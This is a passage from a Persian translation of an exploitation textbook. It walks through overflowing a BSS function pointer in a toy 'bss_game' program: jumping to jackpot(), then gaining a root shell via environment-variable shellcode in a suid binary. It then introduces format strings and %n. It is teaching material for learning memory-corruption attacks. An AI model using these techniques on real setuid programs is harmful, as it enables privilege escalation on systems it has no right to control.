‫ﺑﺎ ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ ‪ Little Endian‬ذﺧﯿﺮه ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ )آﺧﺮﯾﻦ ﺑﺎﯾﺖ( ﺑﺎ ﻣﻘﺪار ‪ 0x00‬ﺟﺎﯾﻨﻮﯾﺴﯽ‬
‫ﺷﺪه و آدرس ﺟﺪﯾﺪ اﺷﺎرﮔﺮ ﺑﺮاﺑﺮ ﺑﺎ ‪ 0x8048600‬ﻣﯽ ﮔﺮدد‪ .‬در ﺧﺮوﺟﯽ ﻓﻮق‪ ،‬اﺷﺎرﮔﺮ ﺑﻪ دﺳـﺘﻮر ﻏﯿﺮﻣﺠـﺎزی اﺷـﺎره‬
‫ﻣﯽ ﮐﻨﺪ؛ اﻣﺎ ﻣﻤﮑﻦ اﺳﺖ در ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺘﻔﺎوت ﺑﻪ دﺳﺘﻮر ﻣﺠﺎزی اﺷﺎره داﺷﺘﻪ ﺑﺎﺷﺪ‪.‬‬
‫اﮔﺮ ﺑﺎﯾﺖ دﯾﮕﺮی را ﺳﺮرﯾﺰ ﮐﻨﯿﻢ‪ ،‬ﺑﺎﯾﺖ ﭘﻮچ ﯾﮏ واﺣﺪ ﺑﻪ ﺳﻤﺖ ﭼﭗ ﻣﯽ رود و ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﯿﺴﺖ و دوﻣﯿﻦ ﺑﺎﯾﺖ ﺑﺮ‬
‫روی ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖِ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ‪ .‬در ﻣﺜـﺎل ﻗﺒﻠـﯽ ﮐـﺎراﮐﺘﺮ ‪) A‬ﺑـﺎ ﻣﻌـﺎدل ﻫﮕﺰادﺳـﯿﻤﺎل ‪(0x41‬‬
‫اﺳﺘﻔﺎده ﺷﺪ‪ .‬ﯾﻌﻨﯽ ﻧﻪ ﺗﻨﻬﺎ ﻣﯽ ﺗﻮان ﺑﺨﺶ ﻫﺎی اﺷﺎرﮔﺮ دﺳﺘﻮر را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﺮد‪ ،‬ﺑﻠﮑﻪ ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﮐﻨﺘﺮل ﻧﯿﺰ ﮐﺮد‪.‬‬
‫اﮔﺮ ‪ 4‬ﺑﺎﯾﺖ ﺳﺮرﯾﺰ ﺷﻮﻧﺪ‪ ،‬ﻣﯽ ﺗﻮان ﮐﻞ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ را ﺑﺎ آن ‪ 4‬ﺑﺎﯾﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ و ﮐﻨﺘـﺮل ﮐـﺮد‪ .‬در ﺧﺮوﺟـﯽ زﯾـﺮ اﯾـﻦ‬
‫ﻣﻬﻢ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪:‬‬
‫‪$ ./bss_game 12345678901234567890ABCD‬‬
‫‪---DEBUG--‬‬
‫‪[before strcpy] function_ptr @ 0x8049c88: 0x8048662‬‬
‫‪[*] buffer @ 0x8049c74: 12345678901234567890ABCD‬‬
‫‪[after strcpy] function_ptr @ 0x8049c88: 0x44434241‬‬
‫‪----------‬‬

‫‪Segmentation fault‬‬
‫‪$‬‬
‫درﻣﺜﺎل ﻗﺒﻠﯽ‪ ،‬اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﺎ "‪ "ABCD‬ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه اﺳﺖ‪ .‬اﯾﻦ ﻣﻘﺎدﯾﺮ ﻃﺒﻖ اﻟﮕﻮی ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ ‪Little Endian‬‬
‫ﻣﻌﮑﻮس ﻣﯽ ﺷﻮﻧﺪ و ﺑﺎ ﻣﻘﺎدﯾﺮ ﻫﮕﺰادﺳﯿﻤﺎل ‪ (A) 0x41 ،(B) 0x42 ،(C) 0x43 ،(D) 0x44‬ﻧﺸﺎن داده ﻣﯽ ﮔﺮدﻧﺪ‪ .‬در‬
‫ﻫﺮ دو ﻣﻮرد ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺧﻮاﻫﺪ ﺑﻪ آدرس ﺗﺎﺑﻌﯽ ﭘﺮش ﮐﻨﺪ ﮐﻪ در آﻧﺠﺎ ﻫﯿﭻ ﺗﺎﺑﻌﯽ وﺟﻮد ﻧﺪارد‪ ،‬ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﭘﯿﻐـﺎم‬
‫‪ Segmentation Fault‬ﮐﺮش ﺧﻮاﻫﺪ ﮐﺮد‪ .‬اﻣﺎ ﭼﻮن ﻣﯽ ﺗﻮان اﺷﺎرﮔﺮ ﺗﺎﺑﻊ را ﮐﻨﺘﺮل ﮐـﺮد‪ ،‬ﭘـﺲ در ﻧﺘﯿﺠـﻪ آن روﻧـﺪ‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻧﯿﺰ ﻣﯽ ﺗﻮان ﮐﻨﺘﺮل ﮐﺮد‪ .‬اﮐﻨﻮن ﻓﻘﻂ ﺑﺎﯾﺪ ﯾﮏ آدرس ﻣﻌﺘﺒﺮ را ﺑﺠﺎی "‪ "ABCD‬ﺟﺎﯾﮕﺰﯾﻦ ﮐﺮد‪.‬‬
‫دﺳﺘﻮر ‪ ،nm‬ﻧﻤﺎدﻫﺎی )‪ (symbol‬ﻣﻮﺟﻮد در ﻓﺎﯾﻞ ﻫﺎی ﻫﺪف )‪ (object file‬را ﻟﯿﺴﺖ ﻣﯽ ﮐﻨﺪ‪ .‬ﻣﯽ ﺗﻮان از اﯾﻦ دﺳـﺘﻮر‬
‫ﺑﺮای ﯾﺎﻓﺘﻦ آدرس ﺗﻮاﺑﻊ در ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫‪$ nm bss_game‬‬
‫‪08049b60 D _DYNAMIC‬‬
‫_‪08049c3c D _GLOBAL_OFFSET_TABLE‬‬
‫‪080487a4 R _IO_stdin_used‬‬
‫‪w _Jv_RegisterClasses‬‬
‫‪46‬‬
08049c2c d __CTOR_END__
08049c28 d __CTOR_LIST__
08049c34 d __DTOR_END__
08049c30 d __DTOR_LIST__
08049b5c d __EH_FRAME_BEGIN__
08049b5c d __FRAME_END__
08049c38 d __JCR_END__
08049c38 d __JCR_LIST__
08049c70 A __bss_start
08049b50 D __data_start
08048740 t __do_global_ctors_aux
08048430 t __do_global_dtors_aux
08049b54 d __dso_handle
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
08049c70 A _edata
08049c8c A _end
08048770 T _fini
080487a0 R _fp_hw
08048324 T _init
080483e0 T _start
U atoi@@GLIBC_2.0
08049c74 b buffer.0
08048404 t call_gmon_start
08049c70 b completed.1
08049b50 W data_start
U exit@@GLIBC_2.0
08048470 t frame_dummy
08049c88 b function_ptr.1
08048662 T game
0804871c T jackpot
08048498 T main 08049b58 d p.0
U printf@@GLIBC_2.0
U rand@@GLIBC_2.0
U srand@@GLIBC_2.0
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U time@@GLIBC_2.0
$
‫ اﻣـﺎ اﮔـﺮ‬،‫ ﻓﺎﮐﺘﻮر ﺷﺎﻧﺲ در اﯾﻦ ﺑـﺎزی ﺑـﺴﯿﺎر ﮐـﻢ اﺳـﺖ‬.‫ ﯾﮏ ﻫﺪف ﻣﻨﺎﺳﺐ ﺑﺮای اﯾﻦ اﮐﺴﭙﻠﻮﯾﺖ اﺳﺖ‬jackpot() ‫ﺗﺎﺑﻊ‬
jackpot() ‫ در ﻋﻮض ﺗﻨﻬﺎ ﺗـﺎﺑﻊ‬.‫ اﺻﻼ ﻧﯿﺎز ﺑﻪ ﺑﺎزی ﮐﺮدن ﻧﯿﺴﺖ‬،‫ ﺟﺎﯾﻨﻮﯾﺴﯽ ﮔﺮدد‬jackpot ‫اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﺎ آدرس ﺗﺎﺑﻊ‬
‫ اﻣﺘﯿﺎز ﺑﻪ ﮐﺎرﺑﺮ داده ﻣﯽ ﺷﻮد و ﻧﻬﺎﯾﺘـﺎ ﻧﻘﻄـﻪ ﺗﻌـﺎدل ﺷـﺎﻧﺲ در اﯾـﻦ‬100 ‫ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﺪ ﺷﺪ و ﺑﻪ اﯾﻦ ﺻﻮرت ﻫﺮ ﺑﺎر‬
‫ را ﻣﯽ ﺗﻮان ﺑﺎ ﻋﻼﻣﺎت ﻧﻘﻞ ﻗـﻮل ﺟﻬـﺖ ﭼـﺎپ آدرس ﺑـﻪ‬printf ‫ دﺳﺘﻮر ﭘﻮﺳﺘﻪ‬.‫ﺑﺎزی را در ﺟﻬﺖ دﯾﮕﺮ ﻗﺮار ﺧﻮاﻫﺪ داد‬
.‫ ﺑﮑﺎر ﺑﺮد‬printf "\x1c\x87\x04\x08" ‫ﺻﻮرت‬
$ ./bss_game 12345678901234567890'printf "\x1c\x87\x04\x08"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x804871c
----------

You just won the jackpot!


100 credits have been added to your account.
$
.‫ اﻣﺘﯿﺎزات ﺑﯿﺸﺘﺮی ﺑﺪﺳﺖ آورﯾـﻢ‬،‫ ﻣﯽ ﺗﻮاﻧﺴﺘﯿﻢ ﺑﺎ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﻣﮑﺮر اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی‬،‫اﮔﺮ اﯾﻦ ﺑﺎزی واﻗﻌﯽ ﺑﻮد‬
.‫ ﺑﻮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮی ﻋﻤﯿﻖ ﺗﺮ ﻣﯽ ﺑﻮد‬suid root ‫ﻫﻤﭽﻨﯿﻦ در ﺻﻮرت‬
$ sudo chown root.root bss_game
$ sudo chmod u+s bss_game

47
‫ﺣﺎل ﮐﻪ ﺑﺮﻧﺎﻣﻪ در ﻣﺤﯿﻂ ﮐﺎرﺑﺮی رﯾﺸﻪ اﺟﺮا ﻣﯽ ﮔﺮدد و ﻣﯽ ﺗﻮان ﺟﺮﯾﺎن اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻧﯿﺰ ﮐﻨﺘﺮل ﮐﺮد‪ ،‬ﻟـﺬا ﮔـﺮﻓﺘﻦ‬
‫ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﮐﺎر ﭼﻨﺪان ﺳﺨﺘﯽ ﻧﺨﻮاﻫﺪ ﺑﻮد‪ .‬ﺗﮑﻨﯿﮑﯽ ﮐﻪ در ﻗﺒﻞ ﺣﻮل ذﺧﯿﺮه ﺳـﺎزی ﺷـﻞ‪-‬ﮐـﺪ در ﻣﺘﻐﯿـﺮ ﻣﺤﯿﻄـﯽ‬
‫ﺑﺤﺚ ﺷﺪ ﺑﺎﯾﺴﺘﯽ ﻣﻨﺎﺳﺐ اﯾﻦ وﺿﻌﯿﺖ ﺑﻮده و ﺑﻪ درﺳﺘﯽ ﮐﺎر ﮐﻨﺪ‪.‬‬
‫'‪$ export SHELLCODE='perl -e 'print "\x90"x18;'"cat shellcode‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffcfe‬‬
‫'"‪$ ./bss_game 12345678901234567890'printf "\xfe\xfc\xff\xbf‬‬
‫‪---DEBUG--‬‬
‫‪[before strcpy] function_ptr @ 0x8049c88: 0x8048662‬‬
‫¿‪[*] buffer @ 0x8049c74: 12345678901234567890püÿ‬‬
‫‪[after strcpy] function_ptr @ 0x8049c88: 0xbffffcfe‬‬
‫‪----------‬‬

‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫اﻣﺎ اﮔﺮ ﺗﺮﺟﯿﺢ ﻣﯽ دﻫﯿﺪ ﺑﻪ ﻃﻮر ﺣﺮﻓﻪ ای ﺗﺮی روی آن ﮐﺎر ﮐﻨﯿﺪ و ﻣﺸﮑﻠﯽ راﺟﻊ ﺑـﻪ ﻣﺤﺎﺳـﺒﺎت رﯾﺎﺿـﯽ در ﻣﺒﻨـﺎی ‪16‬‬
‫ﻧﺪارﯾﺪ‪ ،‬ﻣﯽ ﺗﻮاﻧﯿﺪ ﺳﻮرﺗﻤﻪ ‪ NOP‬را ﺣﺬف ﮐﻨﯿﺪ‪.‬‬
‫'‪$ export SHELLCODE='cat shellcode‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffd90‬‬
‫'"‪$ ./bss_game 12345678901234567890'printf "\x94\xfd\xff\xbf‬‬
‫‪---DEBUG--‬‬
‫‪[before strcpy] function_ptr @ 0x8049c88: 0x8048662‬‬
‫¿‪[*] buffer @ 0x8049c74: 12345678901234567890yÿ‬‬
‫‪[after strcpy] function_ptr @ 0x8049c88: 0xbffffd94‬‬
‫‪----------‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫در ﺣﺎﻟﺖ ﮐﻠﯽ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ ﻣﻔﻬﻮم ﻧﺴﺒﺘﺎ ﺳﺎده ای اﺳﺖ‪ .‬ﮔﺎﻫﯽ اوﻗﺎت داده ﻫﺎ ﻣﯽ ﺗﻮاﻧﻨﺪ از ﺳﺮﺣﺪﻫﺎی ﻟﺤﺎظ ﺷﺪه رﯾﺰش‬
‫ﮐﻨﻨﺪ و ﺑﺮﺧﯽ ﻣﻮاﻗﻊ ﻧﯿﺰ روش ﻫﺎﯾﯽ ﺑﺮای ﺳﻮ اﺳﺘﻔﺎده از اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارد‪ .‬در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘـﺸﺘﻪ‪ ،‬ﻣـﺴﺌﻠﻪ‬
‫ﺗﻨﻬﺎ ﯾﺎﻓﺘﻦ آدرس ﺑﺮﮔﺸﺖ اﺳﺖ‪ .‬اﻣﺎ در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ‪ ،heap‬اﺑﺘﮑﺎر و ﻧﻮآوری ﺣﺮف اول را ﻣﯽ زﻧﻨﺪ‪.‬‬

‫‪ .2,9‬رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ‬

‫آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی رﺷـﺘﻪ ﻓﺮﻣـﺖ )‪ ،(format string‬ﮐـﻼس ﻧـﺴﺒﺘﺎ ﺟﺪﯾـﺪی از آﺳـﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ ﻫـﺴﺘﻨﺪ‪ .‬ﻫﻤﺎﻧﻨـﺪ‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ‪ ،‬ﻫﺪف ﻧﻬﺎﯾﯽ از ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ رﺷﺘﻪ ﻓﺮﻣﺖ ﻧﯿﺰ ﺟﺎﯾﻨﻮﯾﺴﯽ داده ﻫﺎ اﺳـﺖ ﺗـﺎ ﺑﺘـﻮان روﻧـﺪ‬
‫اﺟﺮاﯾﯽ ﯾﮏ ﺑﺮﻧﺎﻣﻪ را ﮐﻨﺘﺮل ﮐﺮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﻣﻤﮑﻦ اﺳﺖ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺮ ﮔﻮﻧـﻪ ای از اﺷـﺘﺒﺎﻫﺎت ﺑﺮﻧﺎﻣـﻪ‬
‫ﻧﻮﯾﺴﯽ اﺳﺘﻮار ﺑﺎﺷﻨﺪ ﮐﻪ ﻧﻈﺮ ﺑﻪ ﺗﺎﺛﯿﺮ آﺷﮑﺎر آﻧﻬﺎ روی ﻣﺴﺌﻠﻪ اﻣﻨﯿﺖ ﻧﺮود‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل در ﺻﻮرت ﺣﻞ ﺷﺪن اﯾﻦ ﻣﻌﻤـﺎ و‬
‫ﺷﻨﺎﺧﺘﻦ اﯾﻦ ﺗﮑﻨﯿﮏ اﮐﺴﭙﻠﻮﯾﺖ‪ ،‬ﺣﻞ ﮐﺮدن ﻣﻌﻠﻤﺎ و ﺗﺸﺨﯿﺺ و رﻓﻊ ﻣﺸﮑﻼت در راﺑﻄﻪ ﺑﺎ اﯾﻦ ﻧﻮع آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ ﻧﯿﺰ‬
‫ﺑﺴﯿﺎر ﺳﺎده ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﻣﺎ اﺑﺘﺪا ﭘﯿﺶ زﻣﯿﻨﻪ ای از رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﻧﯿﺎز اﺳﺖ‪.‬‬

‫‪ .2,9,1‬رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ و ﺗﺎﺑﻊ )(‪printf‬‬

‫رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﺗﻮﺳﻂ ﺗﻮاﺑﻊ ﻓﺮﻣﺖ )‪ (format function‬از ﻗﺒﯿﻞ )(‪ printf‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﺗﻮاﺑﻊ ﯾـﮏ رﺷـﺘﻪ‬
‫ﻓﺮﻣﺖ را ﺑﻪ ﻋﻨﻮان اوﻟﯿﻦ آرﮔﻮﻣﺎن درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﺗﻌـﺪاد آرﮔﻮﻣـﺎن ﻫـﺎ ﻧﯿـﺰ ﻣﺒﺘﻨـﯽ ﺑـﺮ ﻫﻤـﺎن رﺷـﺘﻪ اﺳـﺖ‪ .‬دﺳـﺘﻮر‬
‫)(‪ printf‬ﻣﮑﺮرا در ﮐﺪﻫﺎی ﻗﺒﻠﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﺪ‪ .‬ﻣﺜﺎﻟﯽ از آﺧﺮﯾﻦ ﺑﺮﻧﺎﻣﻪ را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫‪printf("You picked:‬‬ ‫;)‪%d\n", user_pick‬‬
‫‪48‬‬
‫در اﯾﻨﺠﺎ رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺮاﺑﺮ ﺑﺎ "‪ "you picked: %d\n‬اﺳﺖ‪ .‬ﺗﺎﺑﻊ )(‪ printf‬رﺷﺘﻪ ﻓﺮﻣﺖ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﺑﻪ ﻫﻨﮕﺎم‬
‫ﺑﺮﺧﻮرد ﺑﺎ ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ )‪ (format parameter‬ﻣﺜﻞ ‪ %d‬ﻋﻤﻠﯿﺎت ﺧﺎص و وﯾﮋه ای اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬اﯾـﻦ ﭘـﺎراﻣﺘﺮ‬
‫ﺟﻬﺖ ﭼﺎپ ﮐﺮدن آرﮔﻮﻣﺎن ﺑﻌﺪی ﺗﺎﺑﻊ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﻘﺪار ﺻـﺤﯿﺢ در ﻣﺒﻨـﺎی ده ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد‪ .‬در‬
‫ﺟﺪول زﯾﺮ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻣﺸﺎﺑﻪ دﯾﮕﺮی را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪.‬‬
‫ﻧﻮع ﺧﺮوﺟﯽ‬ ‫ﭘﺎراﻣﺘﺮ‬
‫ﻣﺒﻨﺎی ده )دﺳﯿﻤﺎل(‬ ‫‪%d‬‬
‫ﻣﺒﻨﺎی ده و ﺑﺪون ﻋﻼﻣﺖ )‪(Unsigned Decimal‬‬ ‫‪%u‬‬
‫ﻣﺒﻨﺎی ﺷﺎﻧﺰده )ﻫﮕﺰادﺳﯿﻤﺎل(‬ ‫‪%x‬‬
‫ﺗﻤﺎم ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻓـﻮق داده ﻫـﺎی ﺧـﻮد ﺑـﻪ ﺻـﻮرت داده درﯾﺎﻓـﺖ ﻣـﯽ ﮐﻨﻨـﺪ‪ ،‬ﻧـﻪ ﺑـﻪ ﺻـﻮرت اﺷـﺎرﮔﺮ ﺑـﻪ داده‪.‬‬
‫ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ داده ﻫﺎی ﺧﻮد را ﺑﻪ ﺻﻮرت اﺷﺎرﮔﺮ درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ‪ .‬در زﯾﺮ اﯾﻦ ﭘﺎراﻣﺘﺮﻫﺎ‬
‫ﻟﯿﺴﺖ ﺷﺪه اﻧﺪ‪:‬‬
‫ﻧﻮع ﺧﺮوﺟﯽ‬ ‫ﭘﺎراﻣﺘﺮ‬
‫رﺷﺘﻪ‬ ‫‪%s‬‬
‫ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ ﮐﻪ ﺗﺎ ﺑﻪ ﺣﺎل ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ‬ ‫‪%n‬‬
‫ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %s‬اﻧﺘﻈﺎر درﯾﺎﻓﺖ ﯾـﮏ آدرس ﺣﺎﻓﻈـﻪ را دارد و داده ﻫـﺎی ﻣﻮﺟـﻮد در آن آدرس ﺣﺎﻓﻈـﻪ را ﺗـﺎ زﻣـﺎن‬
‫ﺑﺮﺧﻮرد ﺑﻪ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﭼﺎپ ﻣﯽ ﮐﻨﺪ‪ .‬ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬ﯾﮏ ﭘﺎراﻣﺘﺮ ﺧﺎص اﺳﺖ‪ ،‬ﭼﺮا ﮐـﻪ ﻋﻤـﻞ ﻧﻮﺷـﺘﻦ را در داده‬
‫اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬اﯾﻦ ﭘﺎراﻣﺘﺮ ﻧﯿﺰ اﻧﺘﻈﺎر درﯾﺎﻓﺖ ﯾﮏ آدرس ﺣﺎﻓﻈﻪ را دارد و ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫـﺎﯾﯽ را ﮐـﻪ از اﺑﺘـﺪا ﺗـﺎ ﻣﮑـﺎن‬
‫ﭘﺎراﻣﺘﺮ ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ در آن آدرس ﺣﺎﻓﻈﻪ ﻣﯽ ﻧﻮﯾﺴﺪ‪.‬‬
‫ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻣﺜﻞ )(‪ printf‬ﺗﻨﻬﺎ رﺷﺘﻪ ﻓﺮﻣﺖ ﻣﻨﺘﻘﻞ ﺷﺪه ﺑﻪ ﺧﻮد را ارزﯾﺎﺑﯽ ﻣﯽ ﮐﻨﺪ و ﻫﺮ ﻫﻨﮕﺎم ﮐﻪ ﺑـﺎ ﯾـﮏ ﭘـﺎراﻣﺘﺮ‬
‫ﻓﺮﻣﺖ ﺑﺮﺧﻮرد ﮐﻨﺪ ﻋﻤﻞ ﺧﺎﺻﯽ را اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬ﻫﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ اﻧﺘﻈﺎر اﻧﺘﻘـﺎل ﯾـﮏ ﻣﺘﻐﯿـﺮ را ﺑـﻪ ﺧـﻮد ﻣـﯽ ﮐـﺸﺪ‪،‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ ﺳﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ در ﯾﮏ رﺷﺘﻪ ﻓﺮﻣﺖ ﻣﻮﺟﻮد ﺑﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﻋـﻼوه ﺑـﺮ آرﮔﻮﻣـﺎن رﺷـﺘﻪ ﻓﺮﻣـﺖ‪ ،‬ﺑﺎﯾـﺪ ﺳـﻪ‬
‫آرﮔﻮﻣﺎن اﺿﺎﻓﯽ در ﺗﺎﺑﻊ ﻣﻮﺟﻮد ﺑﺎﺷﺪ‪ .‬ﯾﮏ ﻣﺜﺎل واﺿﺢ ﺷﺪن ﻣﻄﺎﻟﺐ را ﺗﺴﺮﯾﻊ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫‪fmt_example.c code‬‬
‫>‪#include <stdio.h‬‬

‫)(‪int main‬‬
‫{‬
‫;"‪char string[7] = "sample‬‬
‫;‪int A = -72‬‬
‫;‪unsigned int B = 31337‬‬
‫;‪int count_one, count_two‬‬

‫‪// Example of printing with different format string‬‬


‫;)‪printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A‬‬
‫;)‪printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B‬‬
‫;)‪printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'\n", B, B, B‬‬
‫;)‪printf("[string] %s Address %08x\n", string, string‬‬

‫‪// Example of unary address operator and a %x format string‬‬


‫;)‪printf("count_one is located at: %08x\n", &count_one‬‬
‫;)‪printf("count_two is located at: %08x\n", &count_two‬‬

‫‪// Example of a %n format string‬‬


‫‪printf("The number of bytes written up to this point X%n is being stored‬‬
‫‪in‬‬
‫‪count_one, and the number of bytes up to here X%n is being stored in‬‬
‫‪count_two.\n",‬‬
‫;)‪&count_one, &count_two‬‬

‫‪49‬‬
‫;)‪printf("count_one: %d\n", count_one‬‬
‫;)‪printf("count_two: %d\n", count_two‬‬

‫‪// Stack Example‬‬


‫;)‪printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B‬‬

‫;)‪exit(0‬‬
‫}‬
‫ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫‪$ gcc -o fmt_example fmt_example.c‬‬
‫‪$ ./fmt_example‬‬
‫‪[A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224‬‬
‫‪[B] Dec: 31337, Hex: 7a69, Unsigned: 31337‬‬
‫'‪[field width on B] 3: '31337', 10: ' 31337', '00031337‬‬
‫‪[string] sample Address bffff960‬‬
‫‪count_one is located at: bffff964‬‬
‫‪count_two is located at: bffff960‬‬
‫‪The number of bytes written up to this point X is being stored in count_one,‬‬
‫‪and‬‬
‫‪the number of bytes up to here X is being stored in count_two.‬‬
‫‪count_one: 46‬‬
‫‪count_two: 113‬‬
‫‪A is -72 and is at bffff95c. B is 31337 and is at bffff958.‬‬
‫‪$‬‬
‫دو ﺟﻤﻠﻪ )(‪ printf‬اﺑﺘﺪاﯾﯽ‪ ،‬ﻧﺸﺎن دﻫﻨﺪه ﭼﺎپ ﺷﺪن ﻣﺘﻐﯿﺮﻫﺎی ‪ A‬و ‪ B‬ﺑﺎ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﻣﺨﺘﻠـﻒ ﻫـﺴﺘﻨﺪ‪ .‬ﭼـﻮن در‬
‫ﻫﺮ ﺧﻂ ﺳﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ وﺟﻮد دارد‪ ،‬ﻟﺬا ﻣﺘﻐﯿﺮﻫﺎی ‪ A‬و ‪ B‬ﻫﺮ ﮐﺪام ﺑﺎﯾـﺪ ﺳـﻪ ﺑـﺎر اراﺋـﻪ ﺷـﻮﻧﺪ‪ .‬ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪%d‬‬
‫اﻣﮑﺎن ﭼﺎپ ﺷﺪن ﻣﻘﺎدﯾﺮ ﻣﻨﻔﯽ را ﻧﯿﺰ ﻓﺮاﻫﻢ ﻣﯽ آورد‪ ،‬درﺣﺎﻟﯿﮑﻪ ‪ %u‬ﺧﯿـﺮ‪ ،‬ﭼـﻮن اﯾـﻦ ﭘـﺎراﻣﺘﺮ اﻧﺘﻈـﺎر ﻣﻘـﺎدﯾﺮ ﺑـﺪون‬
‫ﻋﻼﻣﺖ )ﻣﺜﺒﺖ( را دارد‪.‬‬
